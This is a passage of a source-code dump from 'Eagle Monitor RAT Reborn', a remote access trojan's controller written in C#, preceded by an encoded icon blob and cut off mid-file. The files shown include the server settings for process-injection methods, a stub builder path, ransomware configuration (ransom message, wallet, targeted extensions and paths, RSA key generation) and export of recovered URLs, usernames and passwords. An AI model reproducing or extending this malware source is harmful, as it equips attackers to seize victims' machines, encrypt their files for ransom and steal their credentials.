X0n/bltJ/21ZR/9rVkX/ZVJD/2VQQf9pUD7/ak48/zs2NP8zLzD/LissWSUjJgEAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACkdyQrn3UtpphyOKWRcD/Vi2xD3YVpRfh/ Zkj/eWJJ/3JfSf9sW0n/ZldI/19SRv9ZTUT/UklB/0pDPf9VRTv/Y0g4/zMvMP8sKivsJyUoYwAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAqXkXDqV3IF6edS6nmHI4zJFwP6mL bEPqhWlF139mSPh5Ykn/cl9J/2xbSf9mV0j/X1JG/1lNRNlRSEHkSkM9/1NEOv9gRzj/My8w/ywqK9co JigNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACpeRcYpXcgxZ91LYmX cjnGknA/wotsQ7GFaUX1f2ZI23liSfZyX0n/bFtJ+2ZXSKBhU0cxV0xDNlFIQfNNRD3/Xkk7/zs2NP80 MDDPLissGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAr3sPAqt5FH+l dyFkn3Ut45hyOJGRcD/ZjG1C2IVpRaB/ZkjveWJJ/3NfSbBtXEkmZFZIFV9SRoFYTUT3UklB/0pDPf9D PTn5PDc1iDYyMggAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACv ew8EqnkWTKZ3H9OedS58mHI49pJwPp+LbEOphWlF/39mSOJ5Y0lgcl5JamxbSbRmV0jmYFJGy1hNRMFS SUHHS0M9ikU/Oh8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAK97DxasehOwpHchbZ91LfeYcjd9kXA/zotsQ/+GaUWjgWdHDwAAAAAAAAAAa1pJEmZXSDZf UkZQWU5EO1RLQgQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAsHsOLap5FUuldx/wn3UtcZdyOeOScD/3jG1CYohrRAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAACvew8Qq3kU3aZ3H2ifdS3pmHI46JNxPTYAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALB7Dm+sehNWpXcg3p91LNyaczUiAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsnwMEKp5FaOmdx/doXYpHAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACvew8ZrHkT6Kd4GyMA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAK97Dyat ehFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/ ///////cH///gB///wAf//8Af//AgP//AAH//gAB58AAAecAAAAHQAAAB/gAAAf/AAAP/AAAAPgAAADg AAAB5wAA//4AAP/8AAB/+AAAf/AAAH/wAAD/4AAB/+AAB//gDB//4B///+B////g////4f///+P////n /////////ygAAAAQAAAAIAAAAAEAIAAAAAAAAAQAACMuAAAjLgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABRSEAFAAAAADEtLgsmJCcLIB8jAgAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABaTkQZTkU/f0A7ODgwLS2RJCImhSAfIxAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAgGdHA3FeSQlrWkksWE1Ea05FP/A/OjftMS0ueyckJyAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAACXcjoMjm5BVoJnR5t2YEnDaFhIzl1RRW9ORj/zPzo3+DUxMSgAAAAAIB8jCSAfIxQA AAAAwIAAK7R8B16oeBqAm3Mzn45uQbyCZ0bsdmBJ/2lZSP9cUEX4TkY/8z85N/8yLi+aIyElIi4nJn8o IyVkAAAAAMiCAACyfAsmqHgaY5t0M3yObkGNgmdGvHVgSfFpWUj/XFBF/05GP/8/OTf/MCwt/yMiJf8p JCX/IB8jQQAAAAAAAAAAAAAAAAAAAACXcjkSjW5BZoJnRq12YEnQaVlI9mdURP9cSz//U0I4/zwyL/8l IybdQDk1vXxkRx29fwQHAAAAAK97DwKoeBtAm3Mzbo5uQbiCZ0bheGFJ53JbSP9cUEX/TkY//z85N/8x LS7WLCkrq11QQ7uKaz6fr3sSVQAAAACwew4Cr3sPAJdyOhCNbkGMgmdG+nZhSf9pWUj/XVBF/09GP/8/ OTf/My8vlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKR3JAuaczSHjm5B24JnRv12YEn/a1lI/2JSRf9b Sz//V0Q5/zEtLtEnJSgZAAAAAAAAAAAAAAAAAAAAAAAAAACmdx9Sm3M0sI5uQcGCZ0bodmBJ/WlZSeZc UEWQTkY/9VNCOP8xLi6wKCYoAwAAAAAAAAAAAAAAAAAAAACvew8Bp3gbgJtzM7qObkG+gmdG3HZhSZ5p WUh1W09FwU5GP9RBOzhoNjIyAgAAAAAAAAAAAAAAAAAAAAAAAAAAsHsOEah4G5abdDKyj25ByYVpRS0A AAAAZ1dIEl1QRSNUS0IBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALB7DiCoeBqenHQxtJNxPQ4A AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwew4KqXkYo6F2KQcA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAr3sPCa16ERAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/6MAAP8DAAD4 BwAA4AkAAAABAAAAAQAA4AAAAIAAAACADwAAwAcAAMAHAACADwAAgj8AAIf/AACP/wAAn/8AAA== ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Controls/Utils.cs ================================================ using System; using System.Drawing; using System.Reflection; using System.Runtime.InteropServices; using System.Windows.Forms; using Eagle_Monitor_RAT_Reborn.Network; using Guna.UI2.WinForms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.Controls { internal class Utils { internal static void Enable(ListView listView) { PropertyInfo aProp = typeof(Control).GetProperty("DoubleBuffered", BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.Public); aProp.SetValue(listView, true, null); } internal static void Enable(DataGridView dataGridView) { PropertyInfo aProp = typeof(Control).GetProperty("DoubleBuffered", BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.Public); aProp.SetValue(dataGridView, true, null); } internal static void MoveForm(FormPattern formPattern) { Misc.Imports.ReleaseCapture(); Misc.Imports.SendMessage(formPattern.FindForm().Handle, 161, 2, 0); } internal static void CloseForm(FormPattern any) { try { any.Close(); } catch { } } internal static void InitiateForm(ClientHandler clientHandler) { try { clientHandler.ClientForm.Show(); clientHandler.ClientForm.BringToFront(); } catch (Exception) { clientHandler.ClientForm = new ClientForm(clientHandler); clientHandler.ClientForm.Show(); } finally { clientHandler.ClientForm.Text = $"Client : {clientHandler.FullName}"; clientHandler.ClientForm.clientLabel.Text = $"Client : {clientHandler.FullName}"; } } internal static Image ResizeImage(Image imgToResize, Size size) { return (Image)(new Bitmap(imgToResize, size)); } internal static void SetTabImage(Guna2TabControl guna2TabControl, Icon[] icons) { ImageList imageList = new ImageList { ColorDepth = ColorDepth.Depth32Bit, ImageSize = new Size(28, 28) }; foreach(Icon icon in icons) { imageList.Images.Add(icon); } guna2TabControl.ImageList = imageList; for(int i = 0; i < guna2TabControl.TabCount; i++) { guna2TabControl.TabPages[i].ImageIndex = i; } } internal static void SetTotalClients() { lock (Program.mainForm.totalClientLabel) { Program.mainForm.totalClientLabel.Invoke((MethodInvoker)(() => { Program.mainForm.totalClientLabel.Text = $"Total Clients : {ClientHandler.CurrentClientsNumber}"; })); } } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Eagle Monitor RAT Reborn.csproj ================================================  Debug AnyCPU {76117FFD-C18B-4366-8CE8-0572E7F4FB87} WinExe Eagle_Monitor_RAT_Reborn Eagle Monitor RAT Reborn v4.8 512 true true publish\ true Disk false Foreground 7 Days false false true 0 1.0.0.%2a false false true AnyCPU true full false bin\Debug\ DEBUG;TRACE prompt 4 AnyCPU none true Eagle Monitor RAT Reborn (x32) ..\bin\Release\ TRACE prompt 4 false On true bin\x64\Debug\ DEBUG;TRACE full x64 7.3 prompt true ..\bin\Release\ Eagle Monitor RAT Reborn (x64) TRACE true none x64 7.3 prompt true On eagle2.ico true DLLs\dnlib.dll DLLs\FastColoredTextBox.dll DLLs\Guna.UI2.dll DLLs\Leaf.xNet.dll True DLLs\NAudio.dll ..\packages\Newtonsoft.Json.13.0.1\lib\net45\Newtonsoft.Json.dll True True True True True True ..\packages\Vestris.ResourceLib.2.1.0\lib\net45\Vestris.ResourceLib.dll Component Form Form ClientForm.cs Form AboutForm.cs Form MainForm.cs FormPattern.cs ClientForm.cs AboutForm.cs MainForm.cs ResXFileCodeGenerator Resources.Designer.cs Designer True Resources.resx True SettingsSingleFileGenerator Settings.Designer.cs True Settings.settings True {81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff} PacketLib False Microsoft .NET Framework 4.8 %28x86 et x64%29 true False .NET Framework 3.5 SP1 false ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Eagle Monitor RAT Reborn.csproj.user ================================================  ProjectFiles fr-FR false ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/FodyWeavers.xml ================================================  ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/FodyWeavers.xsd ================================================  A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. A list of unmanaged 32 bit assembly names to include, delimited with line breaks. A list of unmanaged 64 bit assembly names to include, delimited with line breaks. The order of preloaded assemblies, delimited with line breaks. This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. Controls if .pdbs for reference assemblies are also embedded. Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. A list of unmanaged 32 bit assembly names to include, delimited with |. A list of unmanaged 64 bit assembly names to include, delimited with |. The order of preloaded assemblies, delimited with |. 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. A comma-separated list of error codes that can be safely ignored in assembly verification. 'false' to turn off automatic generation of the XML Schema file. ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Misc/DotNetCodeExecution.cs ================================================ using FastColoredTextBoxNS; using System; using System.CodeDom.Compiler; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.Misc { internal static class DotNetCodeExecution { internal static string GetCode(Language currentLanguage) { switch (currentLanguage) { case Language.VB: { return @"Imports System Imports System.Windows.Forms Namespace EagleMonitor Public Class Program Public Shared Sub Main() Try MessageBox.Show(""Hello World"") Catch End Try End Sub End Class End Namespace "; } case Language.CSharp: return @"using System; using System.Windows.Forms; namespace EagleMonitor { public class Program { public static void Main() { try { MessageBox.Show(""Hello World""); } catch { } } } }"; default: return ""; } } internal static void RowAdder(string lib, DataGridView importLib) { int rowId = importLib.Rows.Add(); DataGridViewRow row = importLib.Rows[rowId]; row.Cells["Column31"].Value = lib; } internal static void TryLocally(CodeDomProvider codeDomProvider, string source, string platform, string[] referencedAssemblies) { try { var compilerOptions = $"/target:winexe /platform:{platform} /optimize- /unsafe"; var compilerParameters = new CompilerParameters(referencedAssemblies) { GenerateExecutable = true, GenerateInMemory = true, CompilerOptions = compilerOptions, TreatWarningsAsErrors = false, IncludeDebugInformation = false, }; var compilerResults = codeDomProvider.CompileAssemblyFromSource(compilerParameters, source); if (compilerResults.Errors.Count > 0) { foreach (CompilerError compilerError in compilerResults.Errors) { MessageBox.Show(string.Format("{0}\nLine: {1}", compilerError.ErrorText, compilerError.Line), "Code", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); break; } } else { compilerResults = null; MessageBox.Show("Code working !", "Working", MessageBoxButtons.OK, MessageBoxIcon.Information); } } catch (Exception ex) { MessageBox.Show(ex.Message, "Error", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); } } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Misc/Encryption.cs ================================================ using System.Collections.Generic; using System.Security.Cryptography; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.Misc { internal class Encryption { internal static byte[] RSAEncrypt(byte[] data, string strPublicKey) { RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(4096);//4096 rsa.FromXmlString(strPublicKey); byte[] byteEntry = rsa.Encrypt(data, false); return byteEntry; } internal static byte[] RSADecrypt(byte[] data, string strPrivateKey) { RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(4096);//4096 rsa.FromXmlString(strPrivateKey); byte[] byteEntry = rsa.Decrypt(data, false); return byteEntry; } internal static Dictionary GetKey() { Dictionary dictKey = new Dictionary(); RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(4096);//4096 dictKey.Add("PublicKey", rsa.ToXmlString(false)); dictKey.Add("PrivateKey", rsa.ToXmlString(true)); return dictKey; } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Misc/EncryptionInformation.cs ================================================ using System.Collections.Generic; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.Misc { internal class EncryptionInformation { public string publicRSAServerKey { get; set; } public string privateRSAServerKey { get; set; } public bool isEncrypted { get; set; } public string msg { get; set; } public string wallet { get; set; } public bool subfolders { get; set; } public bool checkExtensions { get; set; } public List extensionFile { get; set; } public List paths { get; set; } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Misc/GitHubAPI.cs ================================================ /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.Misc { internal class GitHubAPI { public string url { get; set; } public string assets_url { get; set; } public string upload_url { get; set; } public string html_url { get; set; } public string tag_name { get; set; } public string body { get; set; } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Misc/Imports.cs ================================================ using System; using System.Runtime.InteropServices; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.Misc { internal class Imports { private const String ntdll = "ntdll.dll"; private const String user32 = "user32.dll"; [DllImport(ntdll, SetLastError = true)] internal static extern uint NtTerminateProcess(IntPtr hProcess, int errorStatus); [DllImport(user32)] internal extern static bool ReleaseCapture(); [DllImport(user32)] internal extern static IntPtr SendMessage(IntPtr a, int msg, int wParam, int lParam); internal const int WM_VSCROLL = 277; internal static readonly IntPtr SB_PAGEBOTTOM = new IntPtr(7); [DllImport(user32, CharSet = CharSet.Auto)] internal static extern IntPtr SendMessage(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam); } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Misc/RandomString.cs ================================================ using System; using System.Collections.Generic; using System.Linq; using System.Text; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.Misc { internal class RandomString { //private const string randomString = "ABCDEFGHIJKLMNOPQRSTUVWXYZ123456789abcdefghijklmnopqrstuvwxyz|@#^{}[]`´~"; public static string randomString = "ΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡΣΤΥΦΧΨΩαβγδεζηθικλμνξοπρστυφχψωABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzابتثجحخدذرزسشصضطظعغفقكلمنهويابتثجحخدذرزسشصضطظعغفقكلمنهوي艾诶比西迪伊弗吉尺杰开勒马娜哦屁吉吾儿丝提伊吾维豆贝尔维克斯吾贼德אבגדהוזחטיכךלמםנןסעפףצץקרשתאבגדהוזחטיכךלמםנןסעפףצץקרשת"; //private const string chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; //public static string chars = "ΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡΣΤΥΦΧΨΩαβγδεζηθικλμνξοπρστυφχψωABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzابتثجحخدذرزسشصضطظعغفقكلمنهويابتثجحخدذرزسشصضطظعغفقكلمنهوي0123456789艾诶比西迪伊弗吉尺杰开勒马娜哦屁吉吾儿丝提伊吾维豆贝尔维克斯吾贼德אבגדהוזחטיכךלמםנןסעפףצץקרשתאבגדהוזחטיכךלמםנןסעפףצץקרשת"; private static readonly List names = new List(); private static readonly Random random = new Random(); internal static string NextString(int length) => new string(( from _ in Enumerable.Range(0, length) let i = random.Next(0, RandomString.randomString.Length) select RandomString.randomString[i]).ToArray()); internal static int RandomDigit() { return random.Next(1, 10); } public static string RandomStringFunction(int length) { names.Clear(); string name = ""; do { name = new string(Enumerable.Repeat(randomString, length).Select(s => s[random.Next(s.Length)]).ToArray()); } while (names.Contains(name)); return name; } public static string GenerateRandomString() { var sb = new StringBuilder(); for (int i = 1; i <= random.Next(10, 20); i++) { var randomCharacterPosition = random.Next(0, randomString.Length); sb.Append(randomString[randomCharacterPosition]); } return sb.ToString(); } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Misc/Settings.cs ================================================ using System; using System.Collections.Generic; using static PacketLib.Packet.ProcessInjectionPacket; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.Misc { internal class Settings { public List ports { get; set; } public string key { get; set; } public bool notificationSound { get; set; } public bool notificationIcon{ get; set; } public bool autoSaveRecovery { get; set; } public bool autoRemoveRowWhenFileIsDownloaded { get; set; } public string flagsPackName { get; set; } public INJECTION_METHODS processInjectionMethod { get; set; } public int bufferSize { get; set; } public bool autoGenerateRSAKey { get; set; } public List> hosts { get; set; } //public List onConnectPackets { get; set; } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Misc/Utils.cs ================================================ using Eagle_Monitor_RAT_Reborn.Network; using Leaf.xNet; using Newtonsoft.Json; using System; using System.Collections.Generic; using System.Drawing; using System.IO; using System.Reflection; using System.Text; using System.Threading; using System.Threading.Tasks; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.Misc { internal class Utils { internal class CoreAssembly { internal static readonly Assembly Reference = typeof(CoreAssembly).Assembly; internal static readonly Version Version = Reference.GetName().Version; internal static readonly string Name = Reference.GetName().Name; } internal static readonly string GPath = Application.StartupPath; internal static readonly string StubPath = GPath + "\\Stubs\\Client"; internal static byte[] NotificationSound = File.ReadAllBytes(GPath + "\\Notification\\notification.wav"); internal static string SplitPath(string P) { string[] spl = P.Split('\\'); return spl[spl.Length - 1]; } internal static void ReadSettings() { if (System.IO.File.Exists(GPath + "\\config.json")) { string json = File.ReadAllText(GPath + "\\config.json"); Program.settings = JsonConvert.DeserializeObject(json); Program.mainForm.keyGuna2TextBox.Text = Program.settings.key; Program.mainForm.builderKeyGuna2TextBox.Text = Program.settings.key; foreach (int p in Program.settings.ports) { Program.mainForm.portListView.Items.Add(p.ToString()); } foreach (Tuple host in Program.settings.hosts) { int rowId = Program.mainForm.hostsDataGridView.Rows.Add(); DataGridViewRow row = Program.mainForm.hostsDataGridView.Rows[rowId]; row.Cells["Column22"].Value = host.Item1; row.Cells["Column23"].Value = host.Item2; } Program.mainForm.notificationSoundGuna2CheckBox.Checked = Program.settings.notificationSound; Program.mainForm.notificationIconGuna2CheckBox.Checked = Program.settings.notificationIcon; Program.mainForm.autoSaveRecoveryGuna2CheckBox.Checked = Program.settings.autoSaveRecovery; Program.mainForm.flagsPackGuna2ComboBox.Text = Program.settings.flagsPackName; Program.mainForm.processInjectionGuna2ComboBox.SelectedIndex = (int)Program.settings.processInjectionMethod; Program.mainForm.autoRemoveDownloadGuna2CheckBox.Checked = Program.settings.autoRemoveRowWhenFileIsDownloaded; Program.mainForm.ransomKeyGuna2CheckBox.Checked = Program.settings.autoGenerateRSAKey; switch (Program.settings.bufferSize) { case 524288: Program.mainForm.bufferSizeGuna2ComboBox.SelectedIndex = 0; break; case 1048576: Program.mainForm.bufferSizeGuna2ComboBox.SelectedIndex = 1; break; case 2097152: Program.mainForm.bufferSizeGuna2ComboBox.SelectedIndex = 2; break; case 4194304: Program.mainForm.bufferSizeGuna2ComboBox.SelectedIndex = 3; break; case 8388608: Program.mainForm.bufferSizeGuna2ComboBox.SelectedIndex = 4; break; case 10485760: Program.mainForm.bufferSizeGuna2ComboBox.SelectedIndex = 5; break; } /*if (Program.settings.onConnectPackets != null) { foreach (IPacket packet in Program.settings.onConnectPackets) { int rowId = Program.mainForm.tasksDataGridView.Rows.Add(); DataGridViewRow row = Program.mainForm.tasksDataGridView.Rows[rowId]; row.Cells["Column20"].Value = packet.packetType.ToString(); } } else Program.settings.onConnectPackets = new List();*/ } else { Program.settings = new Settings(); } } internal static void SaveSettings() { Program.settings.ports = new List(); Program.settings.key = Program.mainForm.keyGuna2TextBox.Text; Program.settings.notificationSound = Program.mainForm.notificationSoundGuna2CheckBox.Checked; Program.settings.autoRemoveRowWhenFileIsDownloaded = Program.mainForm.autoRemoveDownloadGuna2CheckBox.Checked; Program.settings.autoSaveRecovery = Program.mainForm.autoSaveRecoveryGuna2CheckBox.Checked; Program.settings.flagsPackName = Program.mainForm.flagsPackGuna2ComboBox.Text; Program.settings.autoGenerateRSAKey = Program.mainForm.ransomKeyGuna2CheckBox.Checked; Program.settings.notificationIcon = Program.mainForm.notificationIconGuna2CheckBox.Checked; Program.settings.hosts = new List>(); foreach (DataGridViewRow host in Program.mainForm.hostsDataGridView.Rows) { // hostsList += $"\"{host.Cells[0].Value}:{host.Cells[1].Value}\","; Program.settings.hosts.Add(new Tuple(host.Cells[0].Value.ToString(), host.Cells[1].Value.ToString())); } foreach (ListViewItem I in Program.mainForm.portListView.Items) { Program.settings.ports.Add(int.Parse(I.Text)); } switch (Program.mainForm.processInjectionGuna2ComboBox.SelectedIndex) { case 0: Program.settings.processInjectionMethod = PacketLib.Packet.ProcessInjectionPacket.INJECTION_METHODS.CLASSIC; break; case 1: Program.settings.processInjectionMethod = PacketLib.Packet.ProcessInjectionPacket.INJECTION_METHODS.MAP_VIEW; break; } switch (Program.mainForm.bufferSizeGuna2ComboBox.SelectedIndex) { /* 512 kB (524288) 1 MB (1048576) 2 MB (2097152) 4 MB (4194304) 8 MB (8388608) 10 MB (10485760) */ case 0: Program.settings.bufferSize = 524288; break; case 1: Program.settings.bufferSize = 1048576; break; case 2: Program.settings.bufferSize = 2097152; break; case 3: Program.settings.bufferSize = 4194304; break; case 4: Program.settings.bufferSize = 8388608; break; case 5: Program.settings.bufferSize = 10485760; break; } string savedSettings = JsonConvert.SerializeObject(Program.settings); File.WriteAllText(GPath + "\\config.json", savedSettings); } internal static void SaveLogs(DataGridView logDataGridView) { Utils.ToCSV(logDataGridView , Application.StartupPath + "\\Logs\\" + DateFormater() + ".csv"); } internal static Image ResizeImage(Image imgToResize, Size size) { return (Image)(new Bitmap(imgToResize, size)); } internal static void StartServers() { foreach (int p in Program.settings.ports) { new Thread(() => { new ServerHandler(p); }).Start(); } } internal static void ToCSV(DataGridView dataGridView, string filePath) { using (StreamWriter sw = new StreamWriter(filePath, false, System.Text.Encoding.Default)) { /* sw.Write(string.Format("{0};", dataGridView.Columns[0].HeaderText)); sw.Write(string.Format("{0};", dataGridView.Columns[1].HeaderText)); sw.Write(string.Format("{0};", dataGridView.Columns[2].HeaderText)); sw.Write(string.Format("{0};", dataGridView.Columns[3].HeaderText));*/ foreach (DataGridViewColumn column in dataGridView.Columns) sw.Write(string.Format("{0};", column.HeaderText)); sw.WriteLine(""); foreach (DataGridViewRow item in dataGridView.Rows) { foreach (DataGridViewCell cell in item.Cells) sw.Write(string.Format("{0};", cell.Value)); sw.WriteLine(""); } } } internal static void ToCSV(List elemList, string filePath, string[] columnNames) { using (StreamWriter sw = new StreamWriter(filePath, false, System.Text.Encoding.Default)) { // sw.Write(string.Format("{0};", "URL")); // sw.Write(string.Format("{0};", "Username")); // sw.Write(string.Format("{0};", "Password")); // sw.Write(string.Format("{0};", "Application")); foreach (string columnName in columnNames) sw.Write(string.Format("{0};", columnName)); /*sw.Write(string.Format("{0};", columnName[0])); sw.Write(string.Format("{0};", columnName[1])); sw.Write(string.Format("{0};", columnName[2])); sw.Write(string.Format("{0};", columnName[3]));*/ sw.WriteLine(""); foreach (object[] item in elemList) { foreach (object item2 in item) sw.Write(string.Format("{0};", item2.ToString())); sw.WriteLine(""); } } } internal static string DateFormater() { DateTime now = DateTime.Now; return $"{now.Year}-{now.Month}-{now.Day}-{now.Hour}H{now.Minute}-{now.Second}{now.Millisecond}"; } internal static string Numeric2Bytes(double b) { string tempNumeric2Bytes = null; string[] bSize = new string[9]; int i = 0; bSize[0] = "Bytes"; bSize[1] = "KB"; //Kilobytes bSize[2] = "MB"; //Megabytes bSize[3] = "GB"; //Gigabytes bSize[4] = "TB"; //Terabytes bSize[5] = "PB"; //Petabytes bSize[6] = "EB"; //Exabytes bSize[7] = "ZB"; //Zettabytes bSize[8] = "YB"; //Yottabytes double b2 = (double)b; for (i = bSize.GetUpperBound(0); i >= 0; i--) { if (b2 >= (Math.Pow(1024, i))) { tempNumeric2Bytes = ThreeNonZeroDigits(b2 / (Math.Pow(1024, i))) + " " + bSize[i]; break; } } return tempNumeric2Bytes; } private static string ThreeNonZeroDigits(double value) { if (value >= 100) { // No digits after the decimal. return Microsoft.VisualBasic.Strings.Format(Convert.ToInt32(value)); } else if (value >= 10) { // One digit after the decimal. return value.ToString("0.0"); } else { return value.ToString("0.00"); } } internal async static Task CheckVersionAsync() { await Task.Run(() => { using (HttpRequest httpRequest = new HttpRequest()) { httpRequest.IgnoreProtocolErrors = true; httpRequest.UserAgent = Http.ChromeUserAgent(); httpRequest.ConnectTimeout = 2500; string request = httpRequest.Get("https://api.github.com/repos/arsium/EagleMonitorRAT/releases").ToString(); return request; } }); return await CheckVersionAsync(); } internal static string SHA512(string input) { var bytes = Encoding.UTF8.GetBytes(input); using (var hash = System.Security.Cryptography.SHA512.Create()) { var hashedInputBytes = hash.ComputeHash(bytes); var hashedInputStringBuilder = new System.Text.StringBuilder(128); foreach (var b in hashedInputBytes) hashedInputStringBuilder.Append(b.ToString("X2")); return hashedInputStringBuilder.ToString().ToUpper(); } } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Network/ChatHandler.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.Network { internal class ChatHandler : IDisposable { internal ClientHandler clientHandler { get; set; } internal string baseIp { get; set; } public void Dispose() { clientHandler.socket.Close(); if (clientHandler.socket != null) { clientHandler.socket.Dispose(); clientHandler.socket = null; clientHandler = null; } } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Network/ClientHandler.cs ================================================ using Eagle_Monitor_RAT_Reborn.Misc; using PacketLib; using PacketLib.Packet; using PacketLib.Utils; using System; using System.Collections.Generic; using System.Drawing; using System.IO; using System.Net.Sockets; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace 